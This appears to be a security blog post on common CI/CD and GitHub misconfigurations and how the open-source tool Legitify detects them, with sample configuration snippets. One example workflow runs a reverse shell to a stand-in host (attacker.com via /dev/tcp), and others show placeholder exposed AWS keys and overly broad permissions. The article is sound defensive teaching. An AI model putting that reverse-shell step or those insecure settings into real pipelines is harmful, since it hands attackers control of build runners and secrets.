Securing CI/CD Pipelines: Common Misconfigurations and Exploits Paths

Updated February 12, 2025.

Modern software development relies heavily on Continuous Integration and Continuous Deployment (CI/CD) pipelines to automate building, testing, and deploying applications. However, as these pipelines grow in complexity, they also become attractive attack vectors. Poorly configured CI/CD environments can expose secrets, enable unauthorized access, and introduce security weaknesses that allow attackers to infiltrate production environments.
Misconfigurations in CI/CD workflows and source code management (SCM) platforms often go unnoticed, creating security gaps that attackers exploit to gain unauthorized access, exfiltrate secrets, and tamper with code. As pipelines become more complex and teams scale their development operations, security blind spots multiply—often without engineers realizing the risk.
This post explores some of the most common CI/CD misconfigurations, how they can be exploited, and real-world examples of these security weaknesses in action. As the risks grow, an ecosystem of open-source security tools has emerged to help teams harden their pipelines and reduce their attack surface.
In this post, we’ll examine key CI/CD security challenges and showcase how Legitify, an open-source security tool, can help detect and remediate these misconfigurations before they become entry points for attackers.
The Risks of Misconfigured CI/CD Pipelines
CI/CD security is critical because pipelines often have high privileges, enabling them to modify code, deploy applications, and interact with cloud environments. When these pipelines are misconfigured, attackers can:
Compromise source code by injecting malicious code or backdoors
Exfiltrate secrets such as API keys, cloud credentials, and tokens stored in repositories or environment variables
Escalate privileges to move laterally across systems and gain control over infrastructure
Manipulate build artifacts to insert supply chain attacks, compromising downstream users
Many of these risks stem from common misconfigurations that often go unnoticed.
Common CI/CD Misconfigurations and Exploit Paths
Below we’re going to dive into some actual practical examples of common misconfigurations, and what their exploit paths look like. We’ll then also present a good solution through the open source Legitify tool, that helps overcome these common security challenges.
Overly Permissive SCM Repository Access
Misconfiguration: Granting excessive permissions (e.g., admin or write access) to users, service accounts, or external collaborators.
Exploit Path: An attacker who gains access to a compromised account with high privileges can push malicious commits, modify CI/CD workflows, or exfiltrate sensitive data.
Example: A developer leaves a former contractor’s access enabled on a private repository. If that account is compromised, an attacker can push malicious code to the repository, injecting backdoors into the application.
Code Example (Dangerous repository permissions in GitHub Actions)
permissions:
contents: write # Allows workflows to modify repository content
actions: write # Grants permission to change workflows
pull-requests: write
Legitify Detection: Legitify will flag repositories where permissions exceed best practices, suggesting least-privilege access controls.
Unprotected Secrets in CI/CD Workflows
Misconfiguration: Storing credentials, API keys, or cloud access tokens directly in environment variables, plaintext files, or repository secrets with broad access.
Exploit Path: An attacker who gains access to the repository or build logs can extract secrets and use them to infiltrate cloud environments or APIs.
Example: A CI/CD pipeline stores AWS keys in plaintext within a GitHub Actions workflow file. An attacker who gains access to the repository via a compromised account can retrieve these keys and access cloud resources.
Code Example (Exposed AWS credentials in CI/CD environment variables)
Legitify Detection: Legitify identifies exposed secrets and recommends alternative secure storage solutions like secrets managers.env:
AWS_ACCESS_KEY_ID: AKIAEXAMPLE123456789
AWS_SECRET_ACCESS_KEY: abcdefghijklmnopqrstuvwxy
Lack of Branch Protection Rules
Misconfiguration: Allowing direct commits to the main branch without requiring reviews, signed commits, or automated security checks.
Exploit Path: A malicious or compromised user can bypass security checks and push vulnerable or malicious code directly to production.
Example: An attacker with access to a developer’s credentials pushes an unauthorized commit with a logic bomb to the production branch, bypassing code review.
Code Example (Lack of branch protection settings in GitHub)
Legitify Detection: A tool like Legitify will audit repository settings and alerts when branch protection policies are missing or improperly configured.{
"required_status_checks": null,
"enforce_admins": false,
"required_pull_request_reviews": null,
"restrictions": null
}
Excessive Runner Privileges in CI/CD Pipelines
Misconfiguration: CI/CD runners (e.g., GitHub Actions, GitLab Runners) run with high privileges, such as root access, or have access to the host system.
Exploit Path: An attacker who injects malicious code into a pipeline can execute arbitrary commands on the runner, potentially compromising the underlying infrastructure.
Example: A compromised repository allows an attacker to modify the CI/CD workflow file, executing a reverse shell command that gives them full access to the runner’s host.
Code Example (Malicious reverse shell execution in CI/CD pipeline)
Legitify Detection: Legitify will scan for privileged runners and recommend running jobs in isolated environments with minimal permissions.jobs:
deploy:
runs-on: self-hosted
steps:
- name: Reverse Shell
run: |
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Unrestricted Artifact Access
Misconfiguration: CI/CD artifacts (e.g., build outputs, logs, container images) are publicly accessible or not protected with proper access controls.
Exploit Path: Attackers can retrieve build artifacts containing sensitive information, reverse-engineer proprietary software, or inject malicious payloads into downstream supply chains.
Example: A public repository stores build logs that contain error messages exposing database connection strings. An attacker retrieves these logs and uses the credentials to access production databases.
Code Example (Publicly exposed CI/CD artifact storage)
Legitify Detection: Legitify helps identify repositories and workflows with publicly exposed artifacts and suggests access restrictions.artifacts:
paths:
- build/*
public: true # Grants access to anyone on the internet
Strengthening CI/CD Security with Automated Misconfiguration Detection
Manually auditing CI/CD pipelines for misconfigurations is impractical, especially in large organizations with numerous repositories, workflows, and contributors. Legitify automates this process by scanning SCM configurations for security misconfigurations and providing actionable remediation steps.
While the key benefits of automated security tooling in CI/CD environments may be obvious, but just so you have a good idea of the security hygiene these tools make possible:
Continuous security enforcement that detects misconfigurations before they can be exploited
Least privilege access recommendations to ensure that users, runners, and service accounts have only the permissions they need
Secrets hygiene that identifies exposed credentials and recommends secure storage solutions
Policy enforcement that helps organizations apply security best practices consistently across all repositories
CI/CD pipelines are a critical component of modern software delivery, but misconfigurations can introduce significant security risks. Attackers actively target SCM platforms and CI/CD workflows to compromise source code, exfiltrate secrets, and manipulate software supply chains.
By understanding the most common CI/CD misconfigurations, their exploit paths, and what these real-world examples look like in your code, teams can proactively secure their pipelines. Open source tools like Legitify provide automated methods to detect misconfigurations early, enforce security best practices, and reduce the risk of compromise when these security measures are properly applied and practiced.